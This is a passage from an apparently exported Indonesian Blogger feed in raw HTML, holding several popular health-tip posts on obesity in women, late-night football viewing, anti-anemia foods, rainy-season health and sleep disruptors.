salmon.</li></ol><br /></div><div style="text-align: justify;"><ol></ol>Semoga tips kesehatan yang mengulas bahaya terlalu berhemat bagi kesehatan tubuh dapat bermanfaat bagi pembaca semua...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-11401354810566352062015-12-11T20:05:00.000-08:002016-03-15T09:22:29.832-07:00Obesitas Pada Wanita Mengundang Penyakit Mematikan<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG2089F_8ypXgzFtEsMRMoal-Ro1QGpKyRPLoYP0KuWCEi4lhczTGsQ-8AbvcuR6PAOUgkr698JjqTpzllw4HNZsl7KEf1kZdLlPRjgRay-u9HXb5_AyYM3tALwVRHzTuJklXjuP6akQw/s1600/obesitas+perempuan+undang+penyakit+serius.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG2089F_8ypXgzFtEsMRMoal-Ro1QGpKyRPLoYP0KuWCEi4lhczTGsQ-8AbvcuR6PAOUgkr698JjqTpzllw4HNZsl7KEf1kZdLlPRjgRay-u9HXb5_AyYM3tALwVRHzTuJklXjuP6akQw/s640/obesitas+perempuan+undang+penyakit+serius.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Obesitas atau kegemukan mulai mengalami peningkatan pada era modern sekarang ini. Obesitas tidak mengenal jenis kelamin, baik laki-laki dan perempuan mulai mengalami berat badan yang berlebihan dari ukuran normalnya. Gaya hidup dan perkembangan zaman dituding sebagai kambing hitam atas berbagai kasus meningkatknya obesitas di seluruh dunia. Obesitas tentu memiliki dampak serius terhadap kesehatan tubuh khususnya para perempuan. Lalu, apa saja dampak obesitas bagi para perempuan tersebut...???. </div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Berdasarkan data dari badan kesehatan dunia (WHO), kasus obesitas terus mengalami peningkatan drastis dari tahun ke tahun. Berdasarkan data WHO, pada tahun 2008, para perempuan yang mengalami obesitas menyentuh angka hampir 300 juta jiwa. Masih Menurut WHO, anda di golongkan obesitas jika BMI lebih besar atau sama dengan 30. BMI sendiri merupakan indeks masa tubuh yang dapat dihitung dengan rumus : berat badan di bagi dengan kuadrat tinggi badan dalam meter. Para perempuaan yang digolongkan obesitas sangat beresiko terkena berbagai penyakit yang serius.</div><div style="text-align: justify;"></div><div style="text-align: justify;"><blockquote class="tr_bq">Kasus obesitas pada perempuan akan meningkatkan resiko terkena diabetes tipe 2, penyakit kardiovaskular (penyakit jantung dan stroke), kanker payudara, kanker endometrium serta kanker usus besar yang mana merupakan beberapa daftar penyakit mematikan yang menghantui semua penduduk dunia umumnya dan perempuan pada khususnya".</blockquote></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Obesitas atau kegemukan merupakan ketidakseimbangan energi yaitu kalori yang masuk melalui makanan yang kita konsumsi lebih besar dari kalori yang dikeluarkan oleh tubuh. Ini terjadi karena gaya hidup yang mulai berubah seperti jenis pekerjaan yang mengharuskan banyak duduk, kurang berolahraga serta melahap berbagai makanan tanpa kontrol yang benar. Berbagai pemicu obesitas yang lain seperti mengkonsumsi makanan berkadar lemak rendah namun dalam porsi yang berlebihan, program diet yang salah, berkurangnya jam tidur malam, meminum minuman bersoda dalam jumlah berlebih, makan dengan terburu-buru serta kurangnya asupan cairan tubuh atau air putih yang dibutuhkan oleh tubuh. Semoga tips kesehatan yang mengulas obesitas pada perempuan dapat bermanfaat bagi pembaca...<br /><br /></div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-62956362912185100062015-12-09T19:54:00.000-08:002016-03-15T09:23:00.485-07:00Tips 5 Cara Tetap Sehat Menonton Sepakbola Di Malam Hari<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZd0KfFcYaOwU-2xtOdUVLvZktbIz2hW7t-shJudNuyjw_ro7cCIDT8rnsPibTDOa4p5aDd0gIc103wT5n-qs7aLqA3Lzth_MNVY_-rnNwqUfdotkXMBcPj8iJbHBnM4BcZqUfNWJIAyg/s1600/tips+sehat+tonton+sepakbola+malam+hari.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZd0KfFcYaOwU-2xtOdUVLvZktbIz2hW7t-shJudNuyjw_ro7cCIDT8rnsPibTDOa4p5aDd0gIc103wT5n-qs7aLqA3Lzth_MNVY_-rnNwqUfdotkXMBcPj8iJbHBnM4BcZqUfNWJIAyg/s640/tips+sehat+tonton+sepakbola+malam+hari.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Seru, Mendebarkan Dan Harus Di Tonton merupakan sebagian kata-kata yang sering dilontarkan oleh para penggermar sepakbola di seluruh tanah air. Saat melihat siaran langsung sepakbola di benua eropa yang secara berkala ditayangkan salah satu stasiun televisi di malam hari. Mereka rela begadang hingga larut malam sampai pagi menjelang. Tentunya hal ini dapat merusak dan mengacaukan jam tidur malam dan menurunkan kesehatan tubuh. Lalu, adakah tips tetap sehat saat menonton sepakbola di malam hari tersebut...???. </div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;">&nbsp;&nbsp;&nbsp; Sahabat, tips kesehatan. Tidak ada yang melarang seseorang untuk menonton acara sepakbola di malam hari. Saya (penulis) juga sangat antusias saat menonton siaran sepakbola yang mempertandingkan klub favorit saya. Liga Champion merupakan salah satu siaran sepakbola favorit yang selalu saya nantikan jam tayangnya. Masalahnya, siaran langsung sepakbola di malam hari merupakan salah satu biang keladi yang menjadikan tidur malam berkurang di benua Asia khususnya Indonesia...<br /><blockquote class="tr_bq">Berikut ini 5 tips tetap sehat saat menonton sepakbola di malam hari :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Tidur Lebih Awal. Saat memutuskan untuk mulai&nbsp; menonton acara sepakbola di malam hari, anda harusnya sudah mulai tidur lebih awal ( Dalam hal ini, jam 20.30, anda harus mulai merebahkan tubuh dikamar tidur ). Ini penting, agar waktu tidur malam tidak banyak terbuang.</li><li>Tonton Saat Pertandingan Di Mulai. Anda dapat melihat jadwal pertandingan sepakbola di televisi melalui internet dan mensetting alarm handphone tepat jam pertandingan di mulai. Ini lebih efektif daripada anda harus menunggu hingga larut malam dengan begadang.</li><li>Kurangi Waktu Duduk Anda. Siaran sepakbola yang berlangsung 2 x 45 menit akan mengharuskan seseorang untuk duduk didepan televisi selama itu. Tips Sehatnya, anda boleh saja duduk pada 45 menit pertama dan kemudian melihat sepakbola sambil berdiri pada 45 menit kedua ( untuk mengurangi waktu duduk anda ).</li><li>Rilekskan Organ Mata Anda. Usahakan untuk mengedipkan mata lebih sering saat menonton siaran sepakbola di malam hari. Ini sangat penting untuk kesehatan organ mata, karena menonton sepakbola akan memaksa organ mata untuk fokus di depan televisi dalam rentang waktu lama.</li><li>Batasi Menonton Sepakbola Di Malam Hari. Anda tentunya dapat mengira-ngira sendiri, apakah pertandingan sepakbola tersebut harus ditonton secara langsung atau tidak perlu di tonton secara langsung ( melihat informasi jalannya pertandingan dan hasil pertandingan pada pagi harinya di siaran berita pagi ).</li></ol><br />Semoga tips kesehatan yang mengulas 5 tips tetap sehat saat&nbsp; menonton sepakbola di malam hari...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-51045350891971881582015-12-02T20:29:00.000-08:002016-03-15T09:23:28.419-07:00Inilah 7 Makanan Ampuh Mencegah Gejala Anemia<div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-NkJQURwhPvA/VucmAnSFVmI/AAAAAAAAADM/zQr0AL20DIYDlP42sgLIQAOLgB94P3Nww/s1600/iron-deficiency-anemia-treatment.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://3.bp.blogspot.com/-NkJQURwhPvA/VucmAnSFVmI/AAAAAAAAADM/zQr0AL20DIYDlP42sgLIQAOLgB94P3Nww/s640/iron-deficiency-anemia-treatment.jpg" width="640" /></a></div><br />Anemia atau yang lebih dikenal dengan gejala kurang darah sering dikeluhkan oleh sebagian besar dari kita. Pernahkan anda terkena gejala anemia...???. Pengertian anemia sendiri yaitu apabila jumlah sel darah merah atau hemoglobin dalam darah menurun atau rendah. Tidak sedikit dari para perempuan yang mengeluhkan gejala anemia tersebut. Mulai sedini mungkin mencegah gejala anemia dapat dilakukan dengan mudah melalui berbagai makanan sehat. Lalu, apa saja makanan sehat yang terbukti efektif mencegah anemia tersebut...???.<br /><br />Sahabat, tips kesehatan. Gejala anemia yang umum dan sering mnncul yaitu letih, lesu, lemah atau bahkan muncul pembengkakan pada tangan dan kaki, sesak nafas serta adanya darah dalam tinja. Meskipun begitu, anda sangat disarankan untuk berkonsultasi dengan dokter tentang berbagai gejala yang anda alami. Ada berbagai penyebab anemia yaitu kekurangan (zat besi, vitamin B12, asam folat), merokok, usia menua serta penyakit radang sendi. Berbagai jenis makanan terbukti ampuh mencegah gejala anemia pada diri anda...</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><blockquote class="tr_bq">Berikut ini 7 makanan ampuh mencegah anemia atau kurang darah :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Bayam. Inilah salah satu jenis sayuran berdaun hijau yang terbukti efektif mencegah anemia. Ini dikarenakan, bayam mengandung sejumlah zat besi yang dibutuhkan oleh tubuh anda. Dalam setengah cangkir bayam yang sudah direbus terkandung 3,2 mg zat besi. Jadi masih mau melewatkan bayam sebagai menu sayuran di meja makan anda...???.</li><li>Daging Merah. Menu daging juga sangat dianjurkan untuk dikonsumsi oleh anda dan keluarga tercinta. Aneka daging (sapi, domba serta daging merah lainnya) sangat kaya akan kandungan zat besi yang diperlukan oleh tubuh. Meskipun begitu, jangan terlalu berlebihan dalam mengkonsumsinya.</li><li>Tomat. Salah satu buah yang sangat dianjurkan untuk dikonsumsi adalah buah tomat. Buah tomat memiliki kandungan vitamin C yang cukup tinggi. Vitamin C dalam buah tomat sangat membantu mempermudah dalam hal penyerapan zat besi yang diperlukan oleh tubuh.</li><li>Telur. Makanan pencegah anemia berikutnya yaitu telur. Telur memiliki kandungan protein yang cukup tinggi dan sejumlah zat besi. Sejumlah zat besi dalam telur sangat berperan dalam mencegah gejala anemia secara lebih dini. Sangat disarankan untuk merebusnya terlebih dahulu sebelum dikonsumsi.</li><li>Madu. Dalam 100 gram madu mengandung sekitar 0,42 mg zat besi yang dibutuhkan oleh tubuh. Dan tak kalah istimewanya, madu juga mengandung tembaga dan magnesium yang berkontribusi dalam peningkatan hemoglobin atau sel darah merah dalam tubuh.</li><li>Ikan. Salmon dan tuna merupakan dua jenis ikan laut yang memiliki kandungan zat besi yang berlimpah. Oleh karena itulah, dua jenis ikan laut tersebut juga sangat efektif dan ampuh untuk menangkal atau mencegah gejala anemia.</li><li>Apel. Selain tomat, ternyata buah apel juga sangat efektif untuk memerangi gejala anemia. Dalam 100 gram apel mengandung 0,12 mg zat besi. Selain itu juga, buah apel juga kaya akan kandungan berbagai vitamin yang dibutuhkan oleh tubuh serta kaya serat untuk menyehatkan organ pencernaan anda..</li></ol>Semoga tips kesehatan yang mengulas 7 makanan ampuh mencegah anemia atau kurang darah bermanfaat bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-40443772237894664482015-12-01T22:26:00.000-08:002016-03-15T09:24:41.924-07:00Tips 7 Cara Meningkatkan Kesehatan Tubuh Dalam Seketika<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeFQksb3YbvdfhdSbTaChT24m3kNzHPFS_ExUOfimI3J1NYVmTe2yvEmhy34-fDYfhdQ1-diSd1fSu4N3N2aW25NExF6vYY8-A6aK5hNyi8utPYNLuqq51x6QVdUw9RVoaicalK2PfRB8/s1600/tips+tingkatkan+sehat+tubuh+sekejap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeFQksb3YbvdfhdSbTaChT24m3kNzHPFS_ExUOfimI3J1NYVmTe2yvEmhy34-fDYfhdQ1-diSd1fSu4N3N2aW25NExF6vYY8-A6aK5hNyi8utPYNLuqq51x6QVdUw9RVoaicalK2PfRB8/s640/tips+tingkatkan+sehat+tubuh+sekejap.jpg" width="640" /></a></div><br /><br /><br /><br /><br /><br /><br /><br /><br />Cepat Dan Efektif merupakan dua kata yang sangat di gemari oleh manusia modern untuk mempersingkat waktu dalam mengerjakan berbagai pekerjaan dan aktivitasnya sehari-hari. Sebagian besar dari mereka tentu enggan membuang waktu yang dimiliki untuk melakukan sesuatu yang tidak berguna atau bermanfaat bagi kehidupannya seperti membaca berbagai tips kesehatan yang malah membingungkannya dan terkesan bertele-tele dalam penyampaiannya. Lalu, adakah tips mudah meningkatkan kesehatan tubuh dalam sekejap sekaligus cepat dan efektif...???. </div><div style="text-align: justify;"><br />Ada berbagai tips mudah meningkatkan kesehatan tubuh yang anda miliki seperti rutin berolahraga setiap hari, tidur cukup setiap harinya serta mengkonsumsi aneka makanan sehat dan bergizi yang dibutuhkan oleh tubuh anda. Dengan melakukan ketiga hal yang tersebut diatas maka manfaatnya dapat langsung dirasakan dan sebagai investasi jangka panjang anda. Disamping itu, ada berbagai tips lainnya untuk meningkatkan kesehatan tubuh yang mudah dan tidak membuang waktu anda...<br /><blockquote class="tr_bq">Berikut ini 7 tips mudah meningkatkan kesehatan tubuh dalam sekejap :</blockquote><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><ol><li>Mulailah Tersenyum. Tersenyum merupakan salah satu tips meningkatkan kesehatan yang mudah dilakukan dan tidak menyita waktu anda. Berbagai manfaat tersenyum yaitu menghilangkan stres, meningkatkan suasana hati dan meningkatkan sistem imun tubuh anda.&nbsp;</li><li>Berdiri Dari Kursi Anda. Mengurangi waktu duduk dapat meningkatkan kesehatan tubuh dan dapat dirasakan langsung manfaatnya seperti melancarkan peredaran darah dan mencegah kaku leher, pinggang sakit serta mata lelah (bagi anda yang hobi berlama-lama didepan layar komputer, laptop maupun televisi).</li><li>Kedipkan Mata Anda. Mengedipkan mata secara lebih sering saat melihat sesuatu (komputer, laptop, handphone) akan membuat mata tidak cepat lelah dan mencegah kekeringan pada bola mata serta mencegah dari berbagai penyakit mata yang lebih serius. </li><li>Mulai Menarik Nafas Panjang. Tips ini bermanfaat untuk menormalkan denyut jantung, merilekskan otot serta menurunkan tekanan darah. Anda dapat melakukanannya dengan duduk rileks di kursi dengan mata terpejam dan mulai mengambil nafas dalam-dalam melalui hidung dan mengeluarkannya lewat mulut.&nbsp;</li><li>Sejajarkan Telinga Dan Bahu Anda. Tips ini berguna untuk mencegah gejala sakit kepala yang mungkin sering dirasakan sebagian orang termasuk anda yang mana sering melihat layar komputer, laptop dan handphone secara membungkung dengan leher yang cenderung menekuk kebawah.&nbsp;</li><li>Dengarkan Lagu Favorit. Mulai mendengarkan lagu favorit dalam beberapa menit mampu meningkatkan suasana hati, mengembalikan fokus, menurunkan tingkat stres serta menstabilkan kondisi mental anda.&nbsp;</li><li>Lakukan Peregangan Ringan. Tips ini bermanfaat untuk melemaskan semua otot, tulang dan sendi pada tubuh anda yang mulai terasa tegang dan kaku. Berbagai gerakannya seperti berjalan keluar ruangan, push-up, sit-up serta gerakan ringan lainnya yang disesuaikan dengan kemampuan anda.&nbsp;</li></ol><br />Semoga tips kesehatan yang mengulas 7 tips mudah meningkatkan kesehatan tubuh dalam sekejap dapat bermanfaat bagi pembaca semua..</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-27436779657857592232015-11-27T17:50:00.000-08:002016-03-15T09:25:05.358-07:00inilah 7 Tips Mempermudah Gaya Hidup Sehat Setiap Hari<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-BVyTyZPu7Y0/VucsGuQBdeI/AAAAAAAAADc/EFKgz2mcxNwYXvK1GdH5bqO6r490uVPfw/s1600/diet-sehat.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="288" src="https://4.bp.blogspot.com/-BVyTyZPu7Y0/VucsGuQBdeI/AAAAAAAAADc/EFKgz2mcxNwYXvK1GdH5bqO6r490uVPfw/s640/diet-sehat.jpg" width="640" /></a></div><br />Tips Mempermudah Gaya Hidup Sehat Setiap Hari mungkin merupakan salah satu artikel kesehatan yang sedang anda cari selama ini. Tak dapat dipungkiri, manusia modern sekarang ini sudah sangat menyimpang dari berbagai gaya hidup sehat setiap harinya. Anda mungkin dapat berkaca pada diri anda sendiri, sudahkah anda menerapkan gaya hidup sehat yang benar...???. Sebenarinya menerapkan gaya hidup sehat yang benar sangatlah mudah untuk dilakukan atau dipraktekkan. Lalu, adakah tips yang makin mempermudah gaya hidup sehat tersebut...???.</div><div style="text-align: justify;"><br /><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;">&nbsp;&nbsp;&nbsp; Sahabat, tips kesehatan. Sehat, bugar, fit dan tidak mudah jatuh sakit merupakan harapan semua insan manusia yang hidup di dunia ini. Semua itu sangat mudah anda dapatkan, jika selalu menerapkan dan mendisiplinkan diri untuk bergaya hidup sehat mulai saat ini. Ini sangat penting, karena berbagai keluhan dan masalah kesehatan merupakan masalah serius bagi kita semua yang hidup diera yang serba canggih ini. Informasi, berita dan tips kesehatan harusnya menjadi menu bacaan anda setiap hari yang bisa memperkaya wawasan anda.<br /><blockquote class="tr_bq">Berikut ini 7 tips mempermudah gaya hidup sehat setiap hari :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Gunakan Alarm Handphone Anda. Jika anda termasuk seseorang yang tidak mematuhi jadwal tidur dan bangun yang benar, maka atur alarm handpone yang menandakan waktunya tidur maupun waktu bangun dipagi hari.</li><li>Taruh Dispenser Di Samping Anda. Jika anda termasuk orang yang malas mengambil air minum yang terlalu jauh dari tempat anda, mengapa tidak, menaruh dispenser dan didekatkan pada meja kerja anda. Air putih sangat dibutuhkan oleh tubuh dan berbagai resiko kesehatan akan muncul, jika kekurangan cairan tubuh.</li><li>Gunakan Sepatu Olahraga Yang Di Sukai. Terkadang, ada sebagian orang yang malas berolahraga dengan berbagai alasan yang tidak masuk akal. Termasuk menggunakan sepatu olahraga yang kurang disukai. Saran, belilah sepatu olahraga yang anda sukai dan nyaman, lalu gunakan untuk memotivasi diri untuk segera berolahraga.</li><li>Pasang Desktop Background Dengan Pesan Kesehatan. Bagi anda yang sering duduk berlama-lama di depan komputer atau laptop, maka anda dapat membuat wallpaper pada desktop background dengan tulisan, "Ayo Istirahatkan Mata Sebentar", "Kurangi Waktu Duduk Di Komputer Ya", atau pesan kesehatan sesuai keinginan anda.</li><li>Isi Lemari Es Dengan Buah-Buahan. Lemari es atau kulkas sangat cocok untuk menyimpan bahan makanan agar lebih tahan lama atau tidak cepat bau atau basi. Sangat disarankan untuk mengisi lemari es dengan makanan sehat seperti buah-buahan yang bisa anda konsumsi setiap saat.</li><li>Sediakan Wadah Khusus Sayur-sayuran Di Tengah Meja Makan. Sayuran hijau sangat baik dan menyehatkan untuk konsumsi harian anda dan keluarga tercinta. Oleh karena itulah, taruh wadah sayuran di tengah meja makan, agar dapat mengingatkan diri untuk menghidangkan menu sayuran setiap hari.</li><li>Taruh Pesan Kesehatan Di Kamar Anda. Kamar merupakan termpat yang paling sering dan terlama yang anda singgahi setiap hari. Mengapa anda tidak menuliskan pesan kesehatan di selembar kertas dan menempelkan didinding kamar anda seperti "Ayo Terapkan Hidup Sehat Mulai Saat Ini" atau "Kesehatan Harus Jadi Prioritas Utama" atau pesan kesehatan sesuai keinginan anda.</li></ol><ol></ol>&nbsp;&nbsp;&nbsp;&nbsp; Semoga tips kesehatan yang mengulas 7 tips mempermudah gaya hidup sehat setiap hari dapat bermanfaat bagi pembaca sekalian.<br /><ol></ol></div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-3316805351180779892015-11-24T18:55:00.000-08:002016-03-15T09:25:27.294-07:00Tips 7 Cara Tetap Sehat Di Musim Penghujan<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUYcJQ9oFoeLF-YE6pyrrJdbfED1zj9J-8JwKZ2geE-JB1Hn6xG0NuPpqxQrIAgbFdnG64laPe40rjk264l9xyqHDvSUKKeK2Lrk-G7eD1dNR-A2UcMMFtoxwfeu_88EcnvwFAnare40I/s1600/tips+tetap+sehat+musim+hujan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="432" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUYcJQ9oFoeLF-YE6pyrrJdbfED1zj9J-8JwKZ2geE-JB1Hn6xG0NuPpqxQrIAgbFdnG64laPe40rjk264l9xyqHDvSUKKeK2Lrk-G7eD1dNR-A2UcMMFtoxwfeu_88EcnvwFAnare40I/s640/tips+tetap+sehat+musim+hujan.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Hujan Telah Tiba, mungkin inilah yang mulai anda katakan, ketika melihat langit mendung dan cenderung gelap, kemudian rintik-rintik air dari langit yang semula berbutiran kecil lambat laun menjadi butiran yang lebih besar dan mengenai tubuh anda. Musim penghujan memang telah membasahi bumi dan menyapa penduduk bumi khususnya di Indonesia. Perubahan musim dari musim kemarau ke musim penghujan tentu memiliki dampak yang kurang baik bagi&nbsp; kesehatan tubuh anda. Lalu, adakah tips mudah tetap sehat di musim hujan tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Sahabat, tips kesehatan. Berubahnya kelembaban udara di lingkungan terbuka akan mempermudah virus, kuman dan bakteri yang terbawa angin masuk ke tubuh melalui udara yang kita hirup maupun berbagai makanan dan minuman yang kita konsumsi tiap harinya. Bahaya lainnya juga yaitu nyamuk demam berdarah serta berbagai keluhan kesehatan saat lingkungan sekitar terkena banjir. Mulai peduli dan tahu tentang menjaga kesehatan tubuh saat musim hujan mutlak diperlukan bagi kita semua.<br /><blockquote class="tr_bq">Berikut ini 7 tips tetap sehat di musim hujan :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Tambah Konsumsi Buah-Buahan. Buah-buahan mengandung aneka jenis vitamin khususnya vitamin C yang dibutuhkan oleh tubuh untuk memperkuat sistem kekebalan tubuh yang kita miliki. Jadi penting kiranya mulai membeli buah-buahan untuk di konsumsi selama musim hujan. </li><li>Jangan Lupa Olahraga Rutin. Mulailah untuk lebih menyemangati diri untuk berolahraga pagi, meskipun cuaca dan rute untuk berjalan kaki sangat tidak mendukung dan bersahabat dengan anda. Karena berolahraga akan membuat tubuh lebih sehat dan bugar saat menjalani aktivitas maupun pekerjaan dimusim penghujan.</li><li>Sedia Jas Hujan. Tempat bekerja yang lumayan jauh dari rumah akan membuat seseorang beresiko kehujanan di perjalanan. Udara yang terlampau dingin dan air hujan yang mengenai tubuh akan membuat seseorang menjadi sakit, jika lupa membawa jas hujan.</li><li>Kurangi Jajan Di Jalan. Udara yang begitu lembab dan air hujan yang jatuh di bumi sedikit banyak akan mengontaminasi berbagai makanan yang di jual di jalanan. Oleh karena itulah, ada baiknya membawa bekal makanan dari rumah. Agar anda lebih yakin akan makanan yang anda konsumsi.</li><li>Waspada Nyamuk Berbahaya. Mulai mengenangnya air hujan di lubang kecil dan besar serta berbagai perabotan dan kaleng yang berserakan di halaman belakang dan depan rumah akan menjadi tempat tumbuh kembang nyamuk termasuk nyamuk demam berdarah. Mulailah melakukan kegiatan bersih-bersih di area sekitar rumah dan lingkungan anda.&nbsp;</li><li>Mulai Minuman Hangat Dan Sehat. Minuman hangat sekaligus menyehatkan sangat pas untuk diminum saat musim penghujan sekarang ini. Mulailah meracik minuman sehat yang anda gemari seperti secangkir teh hangat, segelas jahe hangat serta dapat pula segelas susu hangat. </li><li>Rutin Cuci Tangan. Udara yang lembab dan berbagai tempat yang lembab mengandung virus, kuman dan bakteri dan bisa menempel di tangan anda. Untuk itulah, sangat dianjurkan untuk lebih sering mencuci tangan baik saat mau makan maupun sehabis bekerja dan beraktivitas apapun di musim penghujan.&nbsp;</li></ol>Semoga tips kesehatan yang mengulas 7 tips mudah tetap sehat di musim hujan dapat bermanfaat bagi pembaca sekalian.&nbsp;</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-83857769239085756432015-11-18T21:58:00.000-08:002016-03-15T09:25:47.618-07:00Ini dia 5 Penganggu Waktu Tidur Malam Anda<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-YRWx1AH8KSo/VucuLQaZA7I/AAAAAAAAADo/_kpwBYg3Xos7CpeafdwKfqCjIKEa30dEg/s1600/_85615261_clock.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://1.bp.blogspot.com/-YRWx1AH8KSo/VucuLQaZA7I/AAAAAAAAADo/_kpwBYg3Xos7CpeafdwKfqCjIKEa30dEg/s640/_85615261_clock.jpg" width="640" /></a></div><br />Masih Ngantuk Lagi, Padahal Sudah Pagi, Mungkin inilah yang sering dialami oleh sebagian orang dan bisa jadi anda juga pernah mengalaminya. Bagi seseorang yang harus bekerja dan beraktivitas pagi, perasaan malas dan masih sedikit mengantuk merupakan hal yang harus di temukan solusinya secepat mungkin. kemungkinan besar tidur malam yang anda lakukan tidak terpenuhi atau cukup yang disebabkan oleh berbagai sebab atau penganggu. Lalu, apa saja penganggu waktu tidur malam tersebut...???.<br /><br /><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"></div><div style="text-align: justify;">&nbsp;&nbsp;&nbsp;&nbsp; Sahabat, tips kesehatan. Faktanya, tidur malam yang cukup dapat meningkatkan kesehatan tubuh dan meningkatkan semangat saat bekerja maupun beraktivitas apapun. Lalu berapa jam waktu yang diperlukan untuk tidur malam...???. Idealnya, 7-8 jam merupakan waktu yang dibutuhkan untuk tidur malam yang cukup. Meskipun begitu, ada sebagian orang yang hanya tidur dibawah 7 jam sudah tidak merasakan kantuk pada pagi harinya. Mulailah untuk mengetahui jam tidur malam yang cukup yang dibutuhkan oleh tubuh anda sendiri..<br /><blockquote class="tr_bq">Berikut ini 5 penganggu utama waktu tidur malam anda :</blockquote></div><div style="text-align: justify;"><ol><li>Asyik Bermain Handphone Atau Ponsel. Inilah salah satu mainan sekaligus alat komunikasi manusia modern sekarang ini. Berbagai fitur atau fasilitas pada ponsel seperti dapat bertelepon, ber-sms, bermain game maupun berinternet sangat memanjakan penggunanya. Hingga menjelang tidurpun, mereka tidak mau lepas dari ponsel atau handphonenya.</li><li>Laptop Maupun Komputer. Tidak terhitung lagi manusia yang sudah memiliki laptop maupun komputer di dalam rumahnya. Berbagai jenis pekerjaan rumit, bermain game, berinternet, mendengarkan lagu maupun melihat film dapat dilakukan oleh laptop maupun komputer. Tidak sedikit diantara kita terlalu asyik dengan kedua gadget tersebut, meskipun jam tidur malam sudah dimulai.</li><li>Televisi. Hampir semua orang memiliki televisi dengan berbagai ukuran di dalam rumah atau kamarnya. Berbagai acara atau program di televisi yang semuanya bagus dan berkualtas sangat sayang untuk dilewatkan. Hingga sebagian orang rela tidur larut malam hanya untuk melihat film atau program lainnya yang mereka gemari.</li><li>Lampu Kamar Yang Terlalu Terang. Untuk dapat merasakan nikmatnya tidur cukup dan berkualitas, mulailah untuk menggunakan lampu yang redup atau bahkan mematikan lampu kamar. Fakta lainnya, mematikan lampu kamar dapat membantu meningkatkan produksi hormon melatonin yang berfungsi mencegah berkembangnya sel kanker pada tubuh.</li><li>Tidak Adanya Jeda Waktu. Merilekskan tubuh dan pikiran merupakan hal yang harus dilakukan sebelum tidur malam. Untuk itulah, jika anda ingin tidur jam 21.00 malam, maka sebaiknya merebahkan tubuh dan menenangkan pikiran pada jam 20.30 atau setengah jam sebelum memejamkan mata.&nbsp;</li></ol>Semoga tips kesehatan yang mengulas 5 penganggu waktu tidur malam dapat bermanfaat dan berguna bagi para pembaca...<br /><ol></ol></div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-53907180473464875892015-11-11T17:59:00.000-08:002016-03-15T10:11:59.946-07:00Aku Sempurna Adalah Ungkapan Terbaik Untuk Meningkatkan Kesehatan Kita<div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-DutdYYjLTaE/Vug5P7Zk2BI/AAAAAAAAAGE/2MSWBcwr-yYBi5lNLzMmLAqo-Cm_VpegQ/s1600/tak-perlu-sempurna.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 